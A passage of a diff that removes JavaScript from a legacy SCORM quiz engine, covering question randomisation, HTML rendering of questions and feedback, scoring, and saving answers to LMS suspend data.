-		tQuestionPool	=	searchQuestionPool(iQuestions , pPoolId);
-
-		if(tQuestionPool)
-		{
-			status = tQuestionPool.getRolledUpStatus(iHeaderFrame.iFinalQuestions);
-		}
-		else{
-			alert("Pool with ID : " + pPoolId + " not found !");
-		}
-	}	
-	return status;
-}
-
-function searchQuestionPool(pParentQuestion , pPoolId){
-	var tQuestion	=	null;
-	
-	if(pParentQuestion.containsQuestion(pPoolId))
-	{
-		tQuestion	=	pParentQuestion.getQuestionById(pPoolId); 
-	}else{
-		
-		// check if parent pool contains leaf questions....
-		
-		var tChildQuestion	=	pParentQuestion.mandatoryChildren[0];
-		if(!tChildQuestion)
-		{
-			tChildQuestion	=	pParentQuestion.randomChildren[0];
-		}
-		
-		if(!tChildQuestion || tChildQuestion.isLeafQuestion())
-		{
-			return tQuestion;
-		}
-		
-		// end of check
-		
-		var counter	=	0;
-		var size	=	pParentQuestion.mandatoryChildren.length;
-		tChildQuestion	=	null;
-		
-
-		while(counter < size && tQuestion == null)
-		{
-			tChildQuestion	=	pParentQuestion.mandatoryChildren[counter];
-			if(tChildQuestion.containsQuestion(pPoolId))
-			{
-				return tChildQuestion.getQuestionById(pPoolId);				
-			}
-			else
-			{
-				tQuestion  = searchQuestionPool(tChildQuestion , pPoolId);				
-			}
-			counter++;
-		}
-		
-				
-		if(!tQuestion){
-			counter		=	0;
-			size		=	pParentQuestion.randomChildren.length;
-			tChildQuestion	=	null;
-			
-
-			while(counter < size && tQuestion == null)
-			{
-				tChildQuestion	=	pParentQuestion.randomChildren[counter];
-				if(tChildQuestion.containsQuestion(pPoolId))
-				{
-					return tChildQuestion.getQuestionById(pPoolId);
-				}
-				else
-				{
-					tQuestion  = searchQuestionPool(tChildQuestion , pPoolId);
-				}
-				counter++;
-			}
-		}	
-	}
-	return tQuestion;
-}
-
-
-
- 
-function writeOutput(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-
-	iContentPage = pContentPage;
-	initializeVariables();
-
-	var tString = "";
-	var tQuestion ;
-
-	randomizeQuestions();
-	
-	for (i=0; i < displayQuestions ; i++){
-
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-			tString += generateQuestionHTML( tQuestion, i );
-		}		
-	}
-
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
- 
-
-/// This function gets the user answers from the suspend data and populates the Javascript Datamodels.
-
- 
-
-
-function initializeResults(){
-	
-	var totalQuestions = 0;
-	var tQuestionOrderString = "";
-	var tUserResponse = "";
-
-	tQuestionOrderString = getElementFromSuspendData("questionorder") ;
-
-	var tOrderArray = tQuestionOrderString.split(',');
-	var order;
-	// Added by Jayaprakash A
-	var tQuestion;
-	if(!retainOrder && !repeatAcrossAttempts){
-		for( qs=tOrderArray.length - displayQuestions; qs < tOrderArray.length ; qs++ ){	
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}	
-	}else{
-		for( qs=0; qs < tOrderArray.length ; qs++ ){
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}
-	}
-	
-	retrieveUserResponse();		
-}  
- 
- 
-
-
-function gererateResultSummary(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-	
-	iFinalQuestions = iHeaderFrame.iFinalQuestions;
-	userSelected = iHeaderFrame.iUserAnswers;
-
-	score = iHeaderFrame.score;
-	iContentPage = pContentPage;
-	var tString = '';	
-	if( showPercentage ){
-		score = (score/displayQuestions) * 100;
-		score = Math.round(score);		
-		tString += '<font face="Arial,Helvetica" size="2">You had <strong>' + score +'% </strong> out of ' + displayQuestions + ' questions.'; 			
-	}
-	else{
-		tString += '<font face="Arial,Helvetica" size="2">You had <strong>' + score +' correct answers</strong> out of ' + displayQuestions + ' questions.'; 	
-	}
-
-	initializeVariables();
-
-	var tQuestion;
-	for (i=0; i < displayQuestions; i++ ){
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-		var qn = i+1;
-			if( tQuestion.userResponse ){
-				tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold>Correct</bold><p>';
-			}
-			else{
-				if(userSelected[i]){
-					tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold><font color="red">Incorrect</font></bold><p>';
-				}
-				else{
-			       		tString += '<hr> Question ' + qn + ' - ' + insertCommas( userSelected[i] ) + ' -- <bold><font color="red">Not Attempted</font></bold><p>';
-			       	}
-				
-			}
-		}
-	}
-	tString += '<hr></font>';
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
- 
- 
-
-function generateResultExplanation(pContentPage){
-	if( !pContentPage ){
-		alert("Content document not found.");
-		return;
-	}
-	
-	iFinalQuestions = iHeaderFrame.iFinalQuestions;
-	userSelected = iHeaderFrame.iUserAnswers;
-		
-		
-
-	iContentPage = pContentPage;
-	
-	var tString = "";
-	tString += '<form name="qz">';
-	for (i=0; i < displayQuestions ; i++){
-		tQuestion = iFinalQuestions[i];
-		if( tQuestion ){
-			tString += generateFeedback( tQuestion, i );
-		}		
-		tString += "<br>";
-	}
-	tString += '</form>';
-	iContentPage.document.write(tString);
-	iContentPage.document.close();
-}
-
-
-  
-
-function setQuestionsForm(pForm){
-	iQuestionsForm = pForm;
-}
-
- 
- 
-
-function answeredAllQuestions(){
-	var allAnswered = true;
-	for(var i=0;i< displayQuestions;i++){
-		if(!userSelected[i]){
-			allAnswered = false;
-			break;
-		}
-	}
-	return allAnswered;
-}
-
-
-
- 
-
- 
-
-function submitAnswers(resultsPage){
-	if ( !resultsPage ){	
-		alert("Valid Results page has to be passed");
-		return;
-	}	
-	
-	
-	var tAttempted = 0;
-	var allAnswered = true;
-	var firstUnAnswered;
- 	getCheckboxValue();
-	setUserResponses();
-
-	if(doAttemptAllAnswers){
-		for(var i=0;i< displayQuestions;i++){
-			if(userSelected[i]){
-				if( userSelected[i].length <= 0 ){
-					allAnswered = false;
-					firstUnAnswered = iFinalQuestions[i].id;
-					unAnsweredQuestionNumber = i+1;
-					break;
-				}
-			}
-			else{
-				allAnswered = false;
-				firstUnAnswered = iFinalQuestions[i].id;
-				unAnsweredQuestionNumber = i+1;
-				break;
-			}
-		}
-	}
-	iHeaderFrame.iFinalQuestions = iFinalQuestions;
-	iHeaderFrame.iUserAnswers = userSelected;
-	iHeaderFrame.iAnswersArray=	iAnswersArray;
-	iHeaderFrame.score = score;
- 
-	if (getElementFromSuspendData("lesson_status") == "attempted"){
-		addToSuspendData("lesson_status" , "");
-	}
-	 if( !allAnswered ){
-	 	alert("You did not answer question number " + unAnsweredQuestionNumber + " !");
-		tLoc = iContentPage.location.href;
-		if( tLoc.indexOf("#") != -1 ){
-			tLoc = tLoc.substring(0,tLoc.indexOf("#") );
-		}
-		tLoc += "#qs" + firstUnAnswered;
-			if(document.all) {
-				iContentPage.location.href = tLoc;
-			}
-			else if(document.layers) {
-				iContentPage.document.URL = tLoc;
-			}
-	 } 
-	 else{
-	 
-	 	saveUserAnswers();
-	 	
-		var scorePercentage = ((score/displayQuestions)*100);
-		var scoreRound = Math.floor(scorePercentage);
-		if( showPercentage ){
-			doLMSSetValue("cmi.core.score.raw",scorePercentage);
-			doLMSSetValue("cmi.core.score.max",100);		
-		}
-		else{
-			doLMSSetValue("cmi.core.score.raw",score);
-			doLMSSetValue("cmi.core.score.max",iFinalQuestions.length);		
-		}
-		if ( scoreRound >= passThreshold ) {
-			doLMSSetValue("cmi.core.lesson_status","passed");
-		}else{
-			doLMSSetValue("cmi.core.lesson_status","failed");
-		}
-		
-		// remove list of questions marked for review
-		addToSuspendData("questionIndex" , "");
-		
-		addToSuspendData("QuestionId" , "");
-		
-		addToSuspendData("answersselected" , "");
-
-		// commit answers.
-		if(!resumeAssessment)
-                	addToSuspendData("questionorder", totalQuestionOrder );// add question order to suspend data
-		doLMSCommit();
-		iContentPage.location.href = resultsPage;
-	 } 
-}
-  
-  
- 
- 
- function setHeaderFrame(pHeader){
- 	iHeaderFrame = pHeader;
- }
- 
- 
-//
-// Following variables and functions are only for internal purposes and should
-// not be used outside of this javascript file.
-//
- 
-var ORDER          = "ORDER";
-var qOrder	   = new Object();
-qOrder[ORDER]	   = "";
-
- 
- 
-var iHeaderFrame;
-
-var totalQuestions = 0;
-var currentQuestion = 0;
-var questionNumbers = 1;
-var currentIndex = 1;
-var iQuestionOrder = "";
-var iQuestions	   = new Question("PARENT","","");	
-var iFinalQuestions = new Array();
-var iAnswersArray = new Array();
-var iRandomIndices = new Array();
-var userSelected = new Array(); 
-var totalQuestionOrder = "";
-var score = 0;
-
-var iContentPage;
-
-var iQuestionsForm;
-
-
-var reviewQuestions = new Array();
-var userAnswers = new Array();
-var reviewQuestionNumber = new Array();  // list of questionIds marked for review
-var reviewQuestionCache  = new Object(); // for fast lookup , 
-
-
-function initializeVariables(){
-	
-	currentQuestion = 0;
-	questionNumbers = 1;	
-	currentIndex = 1;
-	iQuestionOrder = "";
-	
-}
-
-
-function randomizeQuestions(){
-	
-	var tSuspendData = doLMSGetValue("cmi.suspend_data");	
-	if( iFinalQuestions.length > 0 ){
-		return;
-	}
-	//debugger;
-	if( tSuspendData.indexOf("questionorder") == -1 ||  retainOrder == false ){	
-		var tQuestionOrderString =	getElementFromSuspendData("questionorder") ;
-		var tOrderArray = tQuestionOrderString.split(',');
-		var tIdCache	=	generatePreviousIdCache(tOrderArray);
-		
-		var questionOrder	=	"";
-
-		iQuestions.getRandomizedQuestions(qOrder,iFinalQuestions , tIdCache);
-		iQuestionOrder = qOrder[ORDER].substring(0,qOrder[ORDER].length - 1); // Remove the trailing comma ',' //				
-
-		if (tQuestionOrderString && !repeatAcrossAttempts){
-			questionOrder	=	tQuestionOrderString + "," + iQuestionOrder ;
-		}
-		else{
-			questionOrder	=	iQuestionOrder ;
-		}
-		totalQuestionOrder	=	questionOrder;
-		if(resumeAssessment)
-			addToSuspendData("questionorder", questionOrder );	//commented by Manu , moved to submitAnswers()			
-	}
-	else{
-		var tTotalQuestionPools = iQuestions.mandatoryChildren.length + iQuestions.randomChildren.length;
-		var tQuestionPool;
-		var tQuestionPoolId = "";
-		var totalQuestions = 0;
-		var tQuestionOrderString = "";
-		var tUserResponse = "";
-
-		tQuestionOrderString = getElementFromSuspendData("questionorder") ;
-		
-		totalQuestionOrder	=	tQuestionOrderString;
-		
-		var tOrderArray = tQuestionOrderString.split(',');
-		var order;
-		// Added by Jayaprakash A
-		var tQuestion;
-		for( qs=0; qs < tOrderArray.length ; qs++ ){
-			order = parseInt( tOrderArray[qs] );
-			if( !isNaN( order ) ){
-				tQuestion = retrieveQuestion(order,iQuestions);
-				iFinalQuestions[totalQuestions] = tQuestion;				
-				// Added by Jayaprakash A
-				tQuestion.index = iFinalQuestions.length -1;				
-				totalQuestions++;
-			}
-		}
-		
-		if(resumeAssessment) {
-		     var isFinished = false;
-		     //if (getElementFromSuspendData("lesson_status") == "attempted") isFinished = true ;
-		     //if( isFinished ){
-			currentQustionIndex = getQuestionId();
-			getUserSelectedArrayInSuspendData();
-		     //}
-
-		     if(tSuspendData.indexOf("questionIndex") != -1){
-			     // get the list of questions marked for review.
-			     var marked		=	getElementFromSuspendData("questionIndex");
-			     var indices	=	marked.split(',');
-			     var length 	= 	indices.length ;
-			     var counter	=	0;
-			     var questionId 	=   	"";
-			     while(counter < length){
-				questionId			=	indices[counter];
-				// remove duplicate entries if any.
-				if(questionId && !reviewQuestionCache[questionId]){
-					reviewQuestionNumber[reviewQuestionNumber.length]	=	questionId;
-					reviewQuestionCache[questionId]	=	1; // dummy value , just need the questionId
-				}
-				counter++;
-			     }
-		     }
-		}
-		
-
-	}
-}
-
-function generatePreviousIdCache(pOrderArray){
-	var size	=	pOrderArray.length;
-	var counter	=	0;
-	var tString	=	"";
-	var IdCache	=	new Object();
-	
-	while(counter < size){
-		tString	=	pOrderArray[counter];
-		IdCache[tString] = true;
-		counter++;
-	}
- return IdCache;	
-}
-
-
-function retrieveQuestion(pId,pParentQuestion){
-	var tQuestion = null;
-	if( pParentQuestion.containsQuestion(pId) ){
-		tQuestion = pParentQuestion.getQuestionById(pId);
-	}	
-	else{
-		tQuestion = searchInChildQuestions(pId , pParentQuestion);
-	}
-	return tQuestion;	
-}
-
-function saveUserAnswers(){
-		if( userSelected != null ){
-		tString = "";
-		for(i=0; i < userSelected.length; i++){
-			if(userSelected[i])
-				tString += userSelected[i];
-			if( i < (userSelected.length - 1) ){
-				tString += ";";
-			}
-		}
-	}
-	addToSuspendData("answers",tString);
-}
-
-/// This function gets the user answers from the suspend data and populates the Javascript Datamodels.
-  
-function retrieveUserResponse(){
-	var tString = getElementFromSuspendData("answers");
-	if( tString ){
-		var tArray = tString.split(";");
-	}
-	for( i=0; i < tArray.length; i++){
-
-		userSelected[i] = tArray[i];
-	}
-	setUserResponses();
-	return userSelected;	
-}
-
-
-function searchInChildQuestions(pId , pParentQuestion){
-	var size = pParentQuestion.getNumberOfRandomQuestions();
-	var tQuestion = null;
-	var tParent   = null;
-	
-	for(var index = 0 ; index < size ; index++){
-		tParent = pParentQuestion.getRandomQuestion(index);
-		if( tParent.containsQuestion(pId) ){
-			tQuestion = tParent.getQuestionById(pId);
-			break;
-		}	
-		else{
-			tQuestion = searchInChildQuestions(pId , tParent);
-		}	
-	}
-	if(null == tQuestion){
-		size = pParentQuestion.getNumberOfMandatoryQuestions();
-		for(var index = 0 ; index < size ; index++){
-				tParent = pParentQuestion.getMandatoryQuestion(index);
-				if( tParent.containsQuestion(pId) ){
-					tQuestion = tParent.getQuestionById(pId);
-					break;
-				}	
-				else{
-					tQuestion = searchInChildQuestions(pId , tParent);
-				}	
-		}
-	}
-	return tQuestion;	
-}
-
- 
-
-
-function questionToString(){
-	return generateQuestionHTML(this, this.index );
-}
-
-
-function generateQuestionHTML( pQuestion, index ){
-	var tString = "";
-	var tAnswers = pQuestion.answers;
-	var tAnswer;
-	var tType = "radio";
-	
-	var correctAnsString = "";
-	
-	if( pQuestion.type == "multiple" ){
-		tType = "checkbox"; 
-		
-		tString += '<tr><td> <a name="qs' + pQuestion.id + '">&nbsp;</a></td> </tr>';
-		tString += '<tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="qs' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += (index + 1) + '. &nbsp;&nbsp;</td><td valign=top align=left class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    if(!pQuestion.instructionText){
-	    	tString += '<span class="blue">Please select&nbsp;&nbsp;<b>all the correct answers</b>.</span></td></tr>\n';
-	    }else{
-	    	tString +=   pQuestion.instructionText;
-	    }	
-	}
-	else{
-		tString += '<tr><td> <a name="qs' + pQuestion.id + '">&nbsp;</a></td> </tr>';
-		tString += '<tr>\n <td colspan="3"> \n';
-		tString += '<div class="qtext" name="qs' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0 width=600><tr><td valign=top width=25 align=left><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += (index + 1) + '. &nbsp;&nbsp;</td><td valign=top class="qtext" align=left colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select <b>the best answer</b>.</span></td></tr>\n';
-	    }
-		else{
-			tString +=   pQuestion.instructionText;
-	    }
-	    
-	}
-	var questionLetter = 1;
-	if(doLMSGetValue("cmi.suspend_data").indexOf("lesson_status") != -1){
-		tArray = getUserResponse();
-		for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1) 
-				}
-				else{
-					correctAnsString += (j+1);			
-				}
-			}
-			var userclick=userAttemptedValues((index + 1),tArray,questionLetter);
-
-			tString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span 	class="choice" name="' + pQuestion.id +'choice' + (j+1) + '">\n';
-			if( pQuestion.type == 'multiple' ){
-				if(userclick=="true" && resumeAssessment){
-					tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-				else{
-					tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" 	type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-			}
-			else if( pQuestion.type == 'single' ){
-				if(userclick=="true" && resumeAssessment){
-				tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-				else{
-					tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-				}
-			}
-		
-			questionLetters = String.fromCharCode( questionLetter + 64 );
-			
-			tString += '</input></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-			tString += tAnswers[j].text;
-			tString += '<br><br></td></tr>\n';
-			questionLetter++;
-		}
-	}
-	else{
-		for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1);
-				}
-				else{
-					correctAnsString += (j+1);		
-				}
-			}
-			tString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span class="choice" name="' + pQuestion.id +'choice' + (j+1) + '">\n';
-			if( pQuestion.type == 'multiple' ){
-				tString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-			}
-			else if( pQuestion.type == 'single' ){
-				tString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-			}
-
-			questionLetters = String.fromCharCode( questionLetter + 64 );
-
-			tString += '</input></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-			tString += tAnswers[j].text;
-			tString += '<br><br></td></tr>\n';
-			questionLetter++;
-		}
-	}
-	tString += '</p>\n';
-	tString += '</td></tr></table></div>\n';
-	tString += '</td>\n</tr>\n';
-
-	questionNumbers++;
-	iAnswersArray[ index ] = correctAnsString;
-	return tString;
-}
-
-function checkIfSelected(userAnswer, option){
-	option = new String(option);
-	if( userAnswer.indexOf(option) == -1 ){
-		return "";
-	}
-	else{
-		return "checked";
-	}
-}
-
-
-function generateFeedback(pQuestion, index){
-
-	var tString = "";
-	var tAnswers = pQuestion.answers;
-	var correctAnsString = "";
-	
-	if( pQuestion.type == "multiple" ){
-		tType = "checkbox"; 
-	
-		tString += '<table><tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top class="qtext" width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += questionNumbers + '. &nbsp;&nbsp;</td><td valign=top class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    
-		if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select&nbsp;&nbsp; <b>all the correct answers</b>.</span></td></tr>\n';
-		}else{
-			tString +=   pQuestion.instructionText;
-	    	}
-		tString += '<br>\n';
-	}
-	else{
-		tString += '<table><tr>\n <td  colspan="3"> \n';
-		tString += '<div class="qtext" name="' + pQuestion.id + 'Layer"><table cellpadding=0 cellspacing=0 border=0><tr><td valign=top class="qtext" align=left width=25><span name="' + pQuestion.id + 'question" class="qtext"> \n';
-		tString += questionNumbers + '. &nbsp;&nbsp;</td><td valign=top align=left class="qtext" colspan=3 width=575>' + pQuestion.text + '<br><br>';
-		tString += '</span> \n';
-	    
-	    	
-	    	if(!pQuestion.instructionText){
-			tString += '<span class="blue">Please select <b>the best answer</b>.</span></td></tr>\n';
-		}else{
-			tString +=   pQuestion.instructionText;
-	    	}
-	    
-	}
-	var questionLetter = 1;
-	for( j=0; j < tAnswers.length; j++ ){
-		if( tAnswers[j].correct == true ){
-			if( correctAnsString.length > 0 ){
-				correctAnsString += "," + (j+1);
-			}
-			else{
-				correctAnsString += (j+1);
-			}
-		}
-		
-		tString += '<tr><td width=15>&nbsp;</td><td valign=top align=left width=15><span class="choice" name="' + pQuestion.id +'choice' + (j+1)  + '">\n';
-		if( pQuestion.type == 'multiple' ){
-			tString += '<input disabled name="' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" ' +checkIfSelected(userSelected[index],j+1) + ' >\n';
-		}
-		else if( pQuestion.type == 'single' ){
-			tString += '<input disabled name="'+ pQuestion.id + 'RadioInp" type="radio" ' + checkIfSelected(userSelected[index],j+1) + ' >\n';
-		}
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-		
-		tString += '</input></td><td valign=top width=15 align=left class="qtext">' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top class="qtext" align=left width=555>';
-		tString += tAnswers[j].text;
-		tString += '<br><br></td></tr>\n';
-		questionLetter++;		
-	}
-
-	var tFeedback;
-	if( pQuestion.userResponse ){
-		tFeedback = pQuestion.correctFeedbackText;
-	}
-	else{
-		tFeedback = pQuestion.incorrectFeedbackText;	
-	} 
-	if( tFeedback == "" ){
-		tFeedback = correctAnswerString(correctAnsString);
-	}
-	
-	tString += '</p>';
-	tString += '<tr><td> </td><td colspan=3 class="qtext">' + tFeedback;	
-    tString += '</td></tr></table></div>\n';
-	tString += '</td>\n</tr></table>\n';
-
-	questionNumbers++;
-	return tString;
-	
-}
-
-
-function insertCommas(pString){
-	var newString = "";
-	var tChars = pString.split(",");
-	var tNumber;
-	for( chars=0; chars < tChars.length ; chars++){
-	
-		tNumber = tChars[chars];
-		tNumber = parseInt( tNumber );
-		
-		if( !isNaN( tNumber ) ){
-				if( tChars.length > 1 ){
-					if( chars >= tChars.length -1 ){
-						newString += " and ";
-					}
-					
-				}
-
-			newString += String.fromCharCode(  tNumber + 64 ) ;
-
-			if( tChars.length > 1 && (chars < tChars.length -2 ) ){
-				newString += ",";
-			}
-		}
-	}
-	return newString;
-}
-
-
-function correctAnswerString(answers){
-	var tString = "";
-	
-	tString += "The correct answer";
-	if( answers.length == 1 ){
-		tString += " is " + insertCommas(answers) + ".";
-	}
-	else{
-		tString += "s are " + insertCommas(answers) + ".";	
-	}
-	return tString;
-}
-
-  function updateRadio(queName,value){
-  	//userSelected[queName] = value;
-  	// commented by surekha as the below function works same as above
-  	checkCurentQuestionOnClick(queName);
-  }	
-  
-  
-  function setUserResponses(){
-  	score = 0;
-    for(var i=0;i< iFinalQuestions.length;i++){
-		generateQuestionHTML(iFinalQuestions[i],i);
-	   	if(userSelected[i] == iAnswersArray[i]){
-			iFinalQuestions[i].userResponse = true;
-			score++;
-		}
-	  }	   
-  }
-  
-  
-  function getCheckboxValue() {
-	var tQuestion;
-	for( i=0; i < displayQuestions; i++){
-		tQuestion = iFinalQuestions[i];		
-		checkForCorrectResponse( tQuestion,i );
-	}	
-}	
-
-//updated by Sampad in order to handle single Question per Page with resume functionality.. to get back user response
-
-function checkForCorrectResponse(pQuestion,index){
-    var tStr = "";
-	
-	if(isSingleQuestionPerPage)
-	{
-	var f = parent.quizheader.iQuestionsForm;
-	}
-	else
-	{
-	var f = iQuestionsForm;	
-	}
-	
-	//var f = iQuestionsForm;//iContentPage.document.xp; 
-	var selCount =0;
-	var button;
-	var radiobutton;
-
-	tStr = "";
-	if( pQuestion ){			
-		if( pQuestion.type == 'multiple' ){
-			eval('button = f.qs' + pQuestion.id + 'choiceBtn' );
-			if( button ){
-				for( j=0; j < button.length; j++ ){
-					if( button[j].checked ){
-						if( tStr.length > 0 ){
-							tStr += "," + button[j].value;
-						}
-						else{
-							tStr += button[j].value;
-						}
-					}
-				}				
-				userSelected[index] = tStr;	
-				//alert("question" + index + "response" +tStr);
-			}
-		}
-		else{
-			var temp='radiobutton = f.qs' + pQuestion.id + 'RadioInp';
-			eval(temp );
-			if( radiobutton ){
-				for( j=0; j < radiobutton.length; j++ ){
-					if( radiobutton[j].checked ){
-						tStr += j+1;
-					}
-				}
-				userSelected[index] = tStr;
-					//alert("question" + index + "response" +tStr);
-			}
-		}			
-	}
-}
-
-
-var currentQustionIndex = 0;
-
- 
- 
-
-function hasNextQuestion(){
-	var tReturn = false;
-	if( currentQustionIndex < iFinalQuestions.length ){
-		tReturn = true;
-	}
-	return tReturn;
-}
-
- 
- 
-function getNextQuestion(){
-	var tQuestion = iFinalQuestions[currentQustionIndex];
-	addToSuspendData("QuestionId" , currentQustionIndex);
-	currentQustionIndex++;	
-	doLMSCommit();
-	return tQuestion;
-}
-
-
-  
-function getNextQuestionString(){
-	var tQuestion = getNextQuestion();
-	var tString = "";
-	if( tQuestion ){
-		tString = generateQuestionHTML(tQuestion, currentQustionIndex-1 );
-	}
-	return tString;	
-}
-
-
-  
-function checkCurrentQuestion(){
-	var tQuestion = iFinalQuestions[currentQustionIndex-1];	
-	checkForCorrectResponse( tQuestion, currentQustionIndex-1 );
-}
-
-
-  
-function getFeedbackString(){
-		var tQuestion = iFinalQuestions[currentQustionIndex-1];
-	   	if(userSelected[currentQustionIndex-1] == iAnswersArray[currentQustionIndex-1]){
-			return tQuestion.correctFeedbackText;
-		}
-		else{
-			return tQuestion.incorrectFeedbackText;
-		}
-}
-
-
-
-function getUserSelectedArrayInSuspendData(){
-	var tString = getElementFromSuspendData("answersselected");
-	if(tString.indexOf("#") !=0 ){
-	var tArray = tString.split("#");
-	for(var l=0; l < tArray.length; l++){
-		var tIndex = tArray[l].indexOf(",");
-		var tQuestionNumber = tArray[l].substring(0,tIndex);
-		userSelected[tQuestionNumber] = tArray[l].substring((tIndex+1),tArray[l].length);
-	}
-	}
-	else{
-		userSelected[tString.substring(0,tString.indexOf(","))] = tString.substring(tString.indexOf(","),tString.length);
-	}
-	
-	 return userSelected;
-}
-
-function getQuestionId(){
-	var tSuspendDataValue = doLMSGetValue("cmi.suspend_data");
-	if(tSuspendDataValue.indexOf("QuestionId") != -1){
-		userattempts = getElementFromSuspendData("QuestionId");
-		if(!userattempts) userattempts = 0;
-		if(userattempts > displayQuestions - 1) userattempts = 0;
-		return parseInt(userattempts);
-	}
-	else{
-		return 0;
-	}
-}
-
-function getUserResponse(){
-	var userSelectedAnswer = new Array();
-	var tString = getElementFromSuspendData("answersselected");
-	var tArray = tString.split("#");
-	for(var l=0; l < tArray.length; l++){
-		var tIndex = tArray[l].indexOf(",");
-		var tQuestionNumber = tArray[l].substring(0,tIndex);
-		userSelectedAnswer[tQuestionNumber] = tArray[l].substring(tIndex,(tArray[l].length+1))+",";
-	}
-	 userAnswers = userSelectedAnswer;
-	 return userSelectedAnswer;
-}
-
-//updated by Sampad in order to handle single Question per Page with resume functionality.. to get back user response
-
-function checkCurentQuestionOnClick(pId){
-	addToSuspendData("lesson_status","attempted");	
-	var tUserString = "";
-	var tUserSelection = new Array();
-	if(isSingleQuestionPerPage)
-	{
-	var tQuestion = parent.quizheader.iFinalQuestions[pId];
-	}
-	else
-	{
-	var tQuestion = iFinalQuestions[pId];	
-	}
-	//alert("user Selected"+tQuestion);
-	checkForCorrectResponse( tQuestion, pId );
-	
-	tUserSelection[pId] = userSelected[pId];
-	for(i=0;i<tUserSelection.length;i++){
-		if(tUserSelection[i]){
-			tUserString = i+","+tUserSelection[i];
-		}
-	}
-	var tUserSuspendValue = getElementFromSuspendData("answersselected");
-	tUserSuspendValue = "#" + tUserSuspendValue;
-	
-	if(tUserString == ""){
-		var tIndex = tUserSuspendValue.indexOf("#"+pId+",");
-		tUserSuspendValue = tUserSuspendValue.substring(1,tUserSuspendValue.length);
-		if(tIndex !=-1){
-			var tUserArrayInSuspendData = getUserSelectedArrayInSuspendData();
-			tUserArrayInSuspendData[pId] = "";
-			for(var l=0;l<tUserArrayInSuspendData.length;l++){
-				tUserString = tUserString + l + "," + tUserArrayInSuspendData[l] + "#";
-			}
-			tUserString = tUserString.substring(0,(tUserString.length-1));
-		}
-	}
-	else{
-		if(doLMSGetValue("cmi.suspend_data").indexOf("answersselected") != -1 && tUserSuspendValue != "#"){
-			var tIndex = tUserString.indexOf(",");
-			var toCheck = "#" + tUserString.substring(0,(tIndex+1));
-			var tUserAttemptedIndex = tUserSuspendValue.indexOf(toCheck);
-			tUserSuspendValue = tUserSuspendValue.substring(1,tUserSuspendValue.length);
-			if(tUserAttemptedIndex == -1){
-				tUserString = tUserSuspendValue + "#" + tUserString;
-			}
-			else{
-				var tUserArrayInSuspendData = getUserSelectedArrayInSuspendData();
-				tUserArrayInSuspendData[tUserString.substring(0,tIndex)] = tUserString.substring((tIndex+1),tUserString.length);
-				tUserString = "";
-				for(var l=0;l<tUserArrayInSuspendData.length;l++){
-				
-					tUserString = tUserString + l + "," + tUserArrayInSuspendData[l] + "#";
-				}
-				tUserString = tUserString.substring(0,(tUserString.length-1));
-			}
